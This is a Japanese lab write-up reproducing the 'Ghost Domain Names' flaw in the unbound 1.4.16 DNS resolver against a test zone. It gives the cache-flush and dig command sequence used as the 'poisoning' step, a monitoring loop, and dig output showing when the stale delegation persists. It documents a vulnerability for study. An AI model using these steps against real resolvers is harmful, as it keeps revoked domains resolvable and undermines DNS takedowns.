unboundでのGhost Domain Names再現試験

前提:

  1. 本試験で使用しているunboundのバージョンは1.4.16です。
  2. 試験環境はFreeBSD 9.0-STABLE (amd64)を使用しています。
  3. 毒入れ作業にsudoを使用します。(インストールしていない場合はrootでログインしておいてください)
  4. unbound-controlでキャッシュのフラッシュをします。unbound.confのremote-control:セクションにcontrol-enable: yesの設定をしておいてください。
  5. 端末を2台(対象Aレコード監視用および毒入れ用)使用します。

端末1: 毒入れ作業

毒入れ用コマンド

  1. キャッシュサーバの全キャッシュをクリアし、
  2. キャッシュサーバにwww.ghost2.qmail.jpのAレコードを再帰問い合わせし、
  3. キャッシュサーバにghost2.qmail.jpのNSレコードを再帰問い合わせする。

攻撃シナリオとしては手順3のNSレコード問い合わせが直接飛ぶところに無理がありそうである。

$ sudo unbound-control reload; dig -t a www.ghost2.qmail.jp; dig -t ns ghost2.qmail.jp

毒入れに成功した場合はdig -t ns ghost2.qmail.jpの結果として以下の様に

の二つのレコードがANSWER SECTIONに返ってくる。
返ってこなければ失敗なので毒入れ手順を繰り返す。

;; ANSWER SECTION:
ghost2.qmail.jp.        2147483647 IN   NS      a.ns.ghost2.qmail.jp.
ghost2.qmail.jp.        2147483647 IN   NS      b.ns.ghost2.qmail.jp.

;; ADDITIONAL SECTION:
a.ns.ghost2.qmail.jp.   600     IN      A       131.112.32.2
b.ns.ghost2.qmail.jp.   600     IN      A       202.41.218.242

端末2: www.ghost2.qmail.jpのAレコード監視

監視用コマンド

$ sh
$ while true; do; dig -t a www.ghost2.qmail.jp; sleep 1; done

毒入れが成功している場合、監視用端末では

がwww.ghost2.qmail.jpのAレコードのTTLのexpire後、再度Aレコードを問い合わせるタイミングで切り替わる。(どちらの状態に遷移するかはランダムであると思える)

毒入れが成功して131.112.32.2からAレコードを検索した状態。(GDN達成)

; <<>> DiG 9.8.1-P1 <<>> -t a www.ghost2.qmail.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64584
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.ghost2.qmail.jp.           IN      A

;; ANSWER SECTION:
www.ghost2.qmail.jp.    299     IN      A       59.106.175.222

;; AUTHORITY SECTION:
ghost2.qmail.jp.        2147480941 IN   NS      a.ns.ghost2.qmail.jp.
ghost2.qmail.jp.        2147480941 IN   NS      b.ns.ghost2.qmail.jp.

;; ADDITIONAL SECTION:
a.ns.ghost2.qmail.jp.   298     IN      A       131.112.32.2
b.ns.ghost2.qmail.jp.   599     IN      A       202.41.218.242

;; Query time: 0 msec
;; SERVER: 192.168.1.253#53(192.168.1.253)
;; WHEN: Sat Feb 25 09:29:01 2012
;; MSG SIZE  rcvd: 120

毒入れが成功しているが202.41.218.242からAレコードを検索しているため、Aレコードの変化が無い状態。(GDN未達成)

; <<>> DiG 9.8.1-P1 <<>> -t a www.ghost2.qmail.jp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40876
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.ghost2.qmail.jp.           IN      A

;; ANSWER SECTION:
www.ghost2.qmail.jp.    204     IN      A       202.41.218.242

;; AUTHORITY SECTION:
ghost2.qmail.jp.        2147479945 IN   NS      a.ns.ghost2.qmail.jp.
ghost2.qmail.jp.        2147479945 IN   NS      b.ns.ghost2.qmail.jp.

;; ADDITIONAL SECTION:
ns.ghost2.qmail.jp.     204     IN      A       202.41.218.242
a.ns.ghost2.qmail.jp.   504     IN      A       131.112.32.2

;; Query time: 0 msec
;; SERVER: 192.168.1.253#53(192.168.1.253)
;; WHEN: Sat Feb 25 01:38:31 2012
;; MSG SIZE  rcvd: 120